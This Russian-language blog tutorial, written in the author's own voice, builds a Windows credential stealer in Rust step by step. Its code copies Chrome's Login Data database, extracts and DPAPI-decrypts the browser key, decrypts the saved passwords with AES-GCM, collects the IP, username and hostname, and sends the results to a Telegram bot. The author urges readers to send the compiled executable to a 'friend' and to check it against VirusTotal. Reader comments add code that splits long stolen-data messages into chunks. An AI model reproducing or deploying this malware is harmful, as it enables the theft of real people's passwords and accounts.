Rust Кодинг Обучение Пароли Стилер

Собираем пароли Chrome и отправляем в Telegram. Простейший стилер на Rust

Собираем пароли Chrome и отправляем в Telegram. Простейший стилер на Rust

Мы уже рассказывали о написании стилера паролей на C и делали кейлогер и RAT своими руками. С тех пор многое изменилось, например в Chrome появилось шифрование паролей, а многие злоумышленники не стесняются использовать Telegram для сбора ворованных данных. Сегодня я покажу в деталях как написать простейший стилер паролей от Chrome с отправкой в «телегу» на языке Rust. Почему Rust? Это очень перспективный язык, по синтаксису и скорости выполнения кода очень похожий на C. Поэтому для тех, кто имел дело с C освоить Rust не составит труда. Rust, на ряду с С горяче любим создателями различной малвари. И, хотя, C остаётся «олдскульным» выбором, разработка Rust не стоит на месте и некоторые считают, что за ним будущее.

Качаем и устанавливаем Rust

Стилер будет работать из под винды, соответвенно предполагается что ваша среда разработки Windows.

Поэтому начнем с установки Rust для Windows. Сделать это довольно просто, качаем exe отсюда: https://www.rust-lang.org/tools/install

Открываем Windows PowerShell и переходим в терминале на наш Рабочий стол командой:

cd Desktop

Если проект необходимо создать в другой папке, а не на рабочем столе, зайдите через PowerShell куда вам необходимо, это не принципиально.

Теперь создаем проект с помощью пакетного менеджера cargo, пишем в терминале:

cargo new strl_chrm_password_rust

*strl_chrm_password_rust — название проекта, ваше название может быть другим.

Папка strl_chrm_password_rust должна была появиться на рабочем столе.

Открываем Visual Studio Code (или любой другой удобный редактор) и папку которую только что создали.

Если всё ок, вы увидите следующую структуру:

Открываем терминал в VS Code: CTRL + SHIFT + ` (` — возле клавиши 1, вверху)

Проверим если всё работает выполнив команду:

cargo run

Если всё ок, в папке проекта появится папка target, а результатом будет выполнение программы из файла src/main.rs, а именно вывод строки “Hello, world!”.

Собираем данные о пользовате

Начнём с того, что соберём данные о пользователе — его ип, юзернейм, имя хост-машины.

Открываем файл main.rs и приступаем.

Для начала создадим необходимые структуру пользователя с опеределением типов:

struct User {
    ip: String,
    username: String,
    hostname: String,
}

Теперь наш main.rs должен выглядить примерно так:

В Rust в качестве подключаемых библиотек используются «крейты» от слова crate, ящик. Бывает два типа крейтов: библиотечный и исполняемый. Библиотечные крейты можно подключать в другие крейты, но нельзя исполнять. Исполняемые же крейты — полная противоположность библиотечным — могут исполняться, но их нельзя подключить в другие крейты. Для того, чтобы определить имя хоста и юзернейм воспользуемся крейтом whoami.

Установить крейт можно благодаря уже знакомому нам пакетному менеджеру cargo.

Добавим зависимость в файл Cargo.toml и при следующей сборке зависимость автоматически подтянется.

В файл Cargo.toml в dependencies:

whoami = "1.1.3"

Теперь можно проверить, если все будет работать, как мы хотим.

Для этого в функции main вместо:

println!("Hello, world!");

Пишем:

println!("{} {}", whoami::username(), whoami::hostname());

В самый верх файла main.rs добавляем:

use whoami;

В итоге теперь наш main.rs должен выглядить следующим образом:

Снова запускаем:

cargo run

Теперь вместо «Hello, world!» у нас должно отобразиться имя пользователя и хоста.

С этим разобрались, теперь необходимо определить ip. Для этого будем использовать get запрос на httpbin тчк org/ip

Формат ответа у нас будет приходить в json в следующем формате:

{
	"origin": "1.2.3.4"
}

Поэтому подготовим структуру для такого ответа:

struct Ip {
	origin: String,
}

Добавляем структуру Ip куда-нибудь под структуру User.

Напишем саму функцию, которая поможет нам получить ip.

Т.к. IP мы будем десеарилизовывать при ответе, нам необходимо добавить derive аттрибут из крейта serde — Deserialize к структуре Ip.

Так же мы будем делать запросы, в этом нам поможет крейт ureq.

Для этого в Cargo.toml добавляем новые зависимости под/над whoami:

serde = { version = "1.0.130", features = ["derive"] }
serde_json = "1.0.68"
ureq = { version = "*", features = ["json", "charset"] }

В самый верх main.rs добавляем:

use serde::Deserialize;
use serde_json::Value;

Теперь к скрутуре Ip можем добавить Deserialize, делаем это таким образом:

#[derive(Deserialize)]
struct Ip {
	origin: String,
}

Имплементируем структуре User следущую логику:

impl User {
    fn ip() -> Result<String, ureq::Error> {
        let body: String = ureq::get("http://httpbin.org/ip")
            .call()?
            .into_string()?;
        let ip: Ip = serde_json::from_str(body.as_str()).unwrap();
        Ok(ip.origin)
    }
}

Ну и давайте снова все проверим, в вывод строки добавим ип:

println!("{} {} {}", whoami::username(), whoami::hostname(), User::ip().unwrap());

Запускаем:

cargo run

Теперь в терминале, помимо имени пользователя и хоста должно появиться ещё и значение ip.

Таким образом теперь наш main.rs должен выглядеть примерно так:

Готовим структуру для данных Chrome

С информацией о пользователе мы разобрались. Теперь давайте приступим к основной части, а именно попробуем вытащить сохраненные в Chrome пароли.

Для начала сделаем структуру и разместим её под стурктурой Ip:

struct Chrome {
    url: String,
    login: String,
    password: String,
}

Ну и сразу же давайте подготовим блок для имлементации функций типу Chrome, по аналогии как с User, добавляем:

impl Chrome {
    //
}

Первое, что нам необходимо будет сделать, это как-то взаимодействовать с файловой системой. Поэтому снова добавим зависимость в наш Cargo.toml:

platform-dirs = "0.3.0"

Этот крейт поможет определить нужные нам пути.

Как обычно добавляем вверху файла main.rs:

use platform_dirs::AppDirs;

Также из стандартной библиотеки нам понадобится PathBuf:

use std::{path::PathBuf};

Записываем в таком формате, т.к. список зависимостей из стандартной библиотеки еще будет расширяться.

Ищем локальную БД Chrome и работаем с файлом

И так, теперь давайте приступим к самим паролям. Пароли хрома хранятся в файле Login Data, который обычно находится по такому пути — C:\Users\USERNAME\AppData\Local\Google\Chrome\User Data\Default

Login Data – это самая простая sqlite БД, отсюда нам и необходимо вытащить сокровенное.

Давайте напишем функцию которая найдет нам файл БД и создаст нам копию файла.

Для этого вверху файла main.rs немного расширим используемые нами модули из стандартной библиотеки, добавим к path::PathBuf еще fs, для работы с файловой системой:

use std::{path::PathBuf, fs};

use std::{path::PathBuf, fs};

Для того, что бы определить папку нашего пользователя воспользуемся библиотекой platform_dirs которую мы ранее добавили. И сразу же найдем файл с БД.

В блоке impl Chrome добавим функцию:

fn local_app_data_folder(open: &str) -> PathBuf {
  AppDirs::new(Some(open), false).unwrap().data_dir
}

Аргумент open мы передадим уже из функции, которая поможет найти и переместить наш файл.

Теперь мы можем найти наш файл с БД и давайте сразу перенесем его куда-нибудь, чтоб не получилось так, что в момент обращения к БД она будет локнута. Так же в блок impl Chrome добавим функцию find_db:

    fn find_db() -> std::io::Result<PathBuf> {
        let local_sqlite_path = Chrome::local_app_data_folder("Google\\Chrome\\User Data\\Default\\Login Data");
        let moved_to = Chrome::local_app_data_folder("sqlite_file");
        let db_file = moved_to.clone();
        fs::copy(local_sqlite_path, moved_to)?;

        Ok(db_file)
    }

В переменной local_sqlite_path мы сразу передаем аргументом то, что нам надо найти, а именно: Google\\Chrome\\User Data\\Default\\Login Data, а там уже наша библиотека path_dirs сама определит у какого пользователя искать.

Отлично, теперь у нас есть функции которые определят папку пользователя, найдут и переместят наш файл с БД.

Снова давайте проверим, если всё работает как надо, в main.rs добавим:

Chrome::find_db();

Запускаем:

cargo run

Открываем C:\Users\USERNAME\AppData\Local и смотрим, у нас появился файл с именем sqlite_file, значит всё ок.

Наш main.rs постепенно приобретает вид:

Подключение к БД и попытка вытащить информацию

Файл с БД мы нашли и переместили куда нам надо, теперь давайте подключимся к самой БД и посмотрим что там.

Для работы с БД, воспользуемся крейтом rusqlite.

Возвращаемся к нашему файлу Cargo.toml и под блок dependencies, отдельно добавим rusqlite таким образом:

[dependencies.rusqlite]
version = "0.25.3"
features = ["bundled"]

Объяснять почему именно так не буду, если кому интересно, почему с этим пакетом так, то загуглите — «How to build rusqlite on Windows».

Теперь Cargo.toml должен выглядить примерно так:

В main.rs так же как обычно наверх добавляем нашу новую зависимость:

use rusqlite::{Connection, Result};

Теперь давайте попобуем вытащить данные из нашего файла с БД, напишем функцию obtain_data_from_db и там же попробуем использовать нашу ранее написанную функцию find_db. Все так же, добавляем функцию в блок imlp Chrome:

    fn obtain_data_from_db() -> Result<Vec<Chrome>> {
        let conn = Connection::open(Chrome::find_db().unwrap())?;

        let mut stmt = conn.prepare("SELECT action_url, username_value, password_value  from logins")?;
        let chrome_data = stmt.query_map([], |row| {
            Ok(Chrome {
                url: row.get(0)?,
                login: row.get(1)?,
                password: row.get(2)?,
            })
        })?;

        let mut result = vec![];

        for data in chrome_data {
            result.push(data.unwrap());
        }

        Ok(result)
    }

В переменной conn, мы аргументом в open передаем файл БД sqlite который мы нашли и переместели ранее с помощью find_db.

Далее пишем простой SQL запрос, который вытащит все, что нам надо из таблицы logins.

Ну и с помощью query_map создаем структуры Chrome и всё это помещаем в вектор, отдав результат.

Как обычно проверяем, в функции main вместо:

Chrome::find_db();
println!("{} {} {}", whoami::username(), whoami::hostname(), User::ip().unwrap());

Пишем:

let res = Chrome::obtain_data_from_db();

println!("{:?}", res.unwrap());

И над структурой Chrome, добавим derive Debug, теперь она будет выглядить так:

#[derive(Debug)]
struct Chrome {
    url: String,
    login: String,
    password: String,
}

Скрестим пальцы и надеемся, что сейчас всё выведет в терминал:

cargo run

Но мимо нас пролетает розовая птица обломинго, что-то не так с типом пароль:

thread 'main' panicked at 'called `Result::unwrap()` on an `Err` value: InvalidColumnType(2, "password_value", Blob)', src\main.rs:65:30
note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace
error: process didn't exit successfully: `target\debug\strl_chrm_password_rust.exe` (exit code: 101)

У нас в структуре password это String. Ну ок, давайте себя немного успокоим, мы то знаем, что пароль зашифрован и так совершенно другой тип(Vec<u8>), к этому мы вернемся чуть позже, а так то всё работает?

Давайте в нашей функции obtain_data_from_db, где создается стуктура Chrome попробуем паролю поставить row1, вместо row2.

Вместо:

Ok(Chrome {
                url: row.get(0)?,
                login: row.get(1)?,
                password: row.get(2)?,
            })

Где password ставим row.get(1)?, теперь так:

Ok(Chrome {
                url: row.get(0)?,
                login: row.get(1)?,
                password: row.get(1)?,
            

Запускаем:

cargo run

Вот теперь то, что надо, только вместо пароля логин. Хорошо, с этим мы разберемся позже, давайте посмотрим на наш main.rs и пойдем дальше:

Расшифровываем пароль

И так, мы знаем что наш пароль в БД зашифрован.

Вдаваться в подробности я сильно не буду, лишь кратко скажу, что используется AEAD-режим блочного шифрования. Можно загуглить, если интересно.

Первое что необходимо — это вытащить ключ хрома, ну и второе — собственно расшифровать сам пароль.

Как я уже сказал, в детали углубляться не будем, кратко:

1. Вытаскиваем файл Local State

2. Находим там ключ

3. Декодируем его, с помощью winapi расшифровываем и на выходе получаем нужный вектор с байтами. (подробнее тут: docs тчк microsoft тчк com/ru-ru/windows/win32/api/dpapi/nf-dpapi-cryptunprotectdata)

Для всех этих манипуляций нам будет необходим крейт winapi и base64, поэтому в Cargo.toml добавляем:

winapi = { version = "0.3", features = ["dpapi", "wincrypt", "winnt", "minwindef"] }
base64 = "0.13.0"

В main.rs, как обычно наверх добавим:

use winapi::{um::wincrypt::CRYPTOAPI_BLOB, um::dpapi::CryptUnprotectData, shared::minwindef::BYTE};

Так же немного расширим использование стандартной библиотеки, вместо:

use std::{path::PathBuf, fs};

Пишем:

use std::{convert::TryInto, ptr, io::BufReader, io::Read, fs::File, path::PathBuf, fs};

Теперь напишем саму функцию получения ключа, в наш блок impl Chrome, под функцию local_app_data_folder добавим:

    fn chrome_saved_key() -> Result<Vec<BYTE>, std::io::Error> {
        let local_state_path = Chrome::local_app_data_folder("Google\\Chrome\\User Data\\Local State");
        let file = File::open(local_state_path)?;

        let mut buf_reader = BufReader::new(file);
        let mut contents = String::new();
        buf_reader.read_to_string(&mut contents)?;

        let deserialized_content: Value = serde_json::from_str(contents.as_str())?;

        let mut encrypted_key = deserialized_content["os_crypt"]["encrypted_key"].to_string();
        encrypted_key = (&encrypted_key[1..encrypted_key.len() - 1]).parse().unwrap();

        let decoded_password = base64::decode(encrypted_key).unwrap();
        let mut password = decoded_password[5..decoded_password.len()].to_vec();
        let bytes: u32 = password.len().try_into().unwrap();

        let mut blob = CRYPTOAPI_BLOB { cbData: bytes, pbData: password.as_mut_ptr() };
        let mut new_blob = CRYPTOAPI_BLOB { cbData: 0, pbData: ptr::null_mut() };

        unsafe {
            CryptUnprotectData(
                &mut blob,
                ptr::null_mut(),
                ptr::null_mut(),
                ptr::null_mut(),
                ptr::null_mut(),
                0,
                &mut new_blob,
            )
        };

        let cb_data = new_blob.cbData.try_into().unwrap();

        let res = unsafe {
            Vec::from_raw_parts(new_blob.pbData, cb_data, cb_data)
        };

        println!("{:?}", res); //для проверки

        Ok(res)
    }

Проверяем, в функцию main добавим под println!(«{:?}», res.unwrap()):

Chrome::chrome_saved_key();

Запускаем. Уже помнишь как?

Теперь в терминале под вектором из Chrome стуктур должен появится еще и вектор байтов, значит всё ок.

Строку println!(«{:?}», res) из chrome_saved_key теперь можно убрать.

Сейчас main.rs должен выглядеть примерно так:

Ключ мы вытащили, теперь давайте расшифруем сам пароль, который есть в БД.

Для расшифровки пароля нам потребуется крейт aes_gcm.

В Cargo.toml добавим:

aes-gcm = "0.9.4"

Теперь он выглядит вот так:

Как обычно добавим зависимости вверх main.rs:

use aes_gcm::{Aes256Gcm, Error};
use aes_gcm::aead::{Aead, NewAead};
use aes_gcm::aead::generic_array::GenericArray;

В блоке impl Chrome в самый низ добавим функцию decrypt_password, входным аргументом будет собственно сам зашифрованный пароль из БД:

    fn decrypt_password(password: Vec<u8>) -> winapi::_core::result::Result<String, Error> {
        let key_buf = Chrome::chrome_saved_key().unwrap();
        let key = GenericArray::from_slice(key_buf.as_ref());
        let cipher = Aes256Gcm::new(key);
        let nonce = GenericArray::from_slice(&password[3..15]);
        let plaintext = cipher.decrypt(nonce, &password[15..])?;

        let decrypted_password = String::from_utf8(plaintext).unwrap();

        Ok(decrypted_password)
    }

Теперь вернемся в функцию obtain_data_from_db и вспомним, как мы вместо пароля ставили логин, теперь попробуем воспользоваться нашей новой функцией расшифровки пароля.

Вместо:

 let chrome_data = stmt.query_map([], |row| {
            Ok(Chrome {
                url: row.get(0)?,
                login: row.get(1)?,
                password: row.get(1)?,
            })
        })?;

Пишем:

        let chrome_data = stmt.query_map([], |row| {
            Ok(Chrome {
                url: row.get(0)?,
                login: row.get(1)?,
                password: Chrome::decrypt_password(row.get(2)?).unwrap(),
            })
        })?;

А теперь запускаем:

cargo run

Хех, теперь у нас есть вектор из Chrome структур с полным набором данных.

Наш main.rs теперь должен иметь следующий вид:

Отправляем полученные данные в телеграм

Пароли мы вытащили, теперь давайте разберемся, что с ними делать. А давайте отправим себе в телеграм, можно придумать и что-то другое, но пусть в данном случае будет творение Дурова.

И так, в нашей функции main стираем всё, что мы ранее писали:

fn main() {
    let res = Chrome::obtain_data_from_db();

    println!("{:?}", res.unwrap());

    Chrome::chrome_saved_key();
} 

Под ней напишем функцию grabber, которая очень некрасивым кодом превратит все данные в красивую строку:

fn grabber() -> String {
    let user = User {
        ip: User::ip().unwrap(),
        username: whoami::username(),
        hostname: whoami::hostname(),
    };

    let newline = "\n";
    let mut result: String = "IP: ".to_owned();
    result.push_str(&*user.ip);
    result.push_str(newline);
    result.push_str("Username: ");
    result.push_str(&*user.username);
    result.push_str(newline);
    result.push_str("Hostname: ");
    result.push_str(&*user.hostname);
    result.push_str(newline);
    result.push_str(newline);

    let chrome_data = Chrome::obtain_data_from_db().unwrap();

    for data in &chrome_data {
        result.push_str("URL: ");
        result.push_str(&*data.url);
        result.push_str(newline);
        result.push_str("Login: ");
        result.push_str(&*data.login);
        result.push_str(newline);
        result.push_str("Password: ");
        result.push_str(&*data.password);

        result.push_str(newline);
        result.push_str(newline);
    }

    result
}

В main вызваем собственно фунцию grabber:

let res = grabber();

Добавляем последнию зависимость в Cargo.toml:

telegram_notifyrs = "0.1.3"

Финальная версия Cargo.toml:

Она поможет нам отправить сообщение в телеграм.

Под let res = grabber() добавим в функции main:

    let telegram_token = "telegram_token";
    let telegram_chat_id = 1234567891;
    telegram_notifyrs::send_message(res, telegram_token, telegram_chat_id);

Значение токена и chat_id, понятное дело, должно быть ваше.

Запускаем:

cargo run

Если токен и chat_id верные, то в телеграм должно прийти, что-то вроде:

Где поля конечно же не должны быть пустыми.

И так, финальная версия нашего main.rs:

Наконец давайте соберем наш бинарник.

В терминале выполняем cargo run, только с флагом release:

cargo run --release

Если всё удачно скомпилировалось, то в папке target/release появится файл strl_chrm_password_rust.exe

Отправляем файл другу — все его пароли у нас. Перенаправьте ему сообщение с паролями и скажите ему чтоб больше так не делал, а заодно сменил все пароли.

Загрузим наш бинарник на вирустотал. В Багдаде всё спокойно (пока).

Получим несколько сообщений от ботов с вирустотал(или нет) в телеграм и удаляем всю папку strl_chrm_password_rust и забываем обо всём.

Совсем не сложно, правда? Конечно же функционал можно доработать, например, добавить кейлогер. И сделать это совсем не сложно.

Очень злой админ
Очень злой админ Автор статьи

Админ сайта. Публикует интересные статьи с других ресурсов, либо их переводы. Если есть настроение, бывает, что пишет и что-то своё.

Комментарии

  1. Полезная статья, как раз изучаю rust, однако для вирусов мне кажется он не очень хорош. Слишком уж большие бинари на выхлопе.

  2. Подскажите пожалуйста, а телеграм_токен это токен бота?? Я пробовал, мне не приходит сообщение

  3. В данном коде имеется косяк. А именно, телеграм бот апи имеет ограничение на размер отправляемого сообщения. И если в хроме сохранено много паролей, то ваш код просто ничего не пришлет. Решается это простой проверкой длины сообшения и последующей отправкой сообщений частями.

  4. Вот накидал код, который проверяет длину сообщения и отправляет по частям, если длина больше 4096
    let mut j = 0;
    let mut last = 0;
    while j +4096 < res.len() {

    let mut new_string = String::new();
    new_string.push_str(&res[j..j+4096]);
    last = j;
    telegram_notifyrs::send_message(new_string, telegram_token, telegram_chat_id);
    j = j +4096;
    }
    let mut new_string = String::new();
    new_string.push_str(&res[j..res.len()]);
    telegram_notifyrs::send_message(new_string, telegram_token, telegram_chat_id);

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *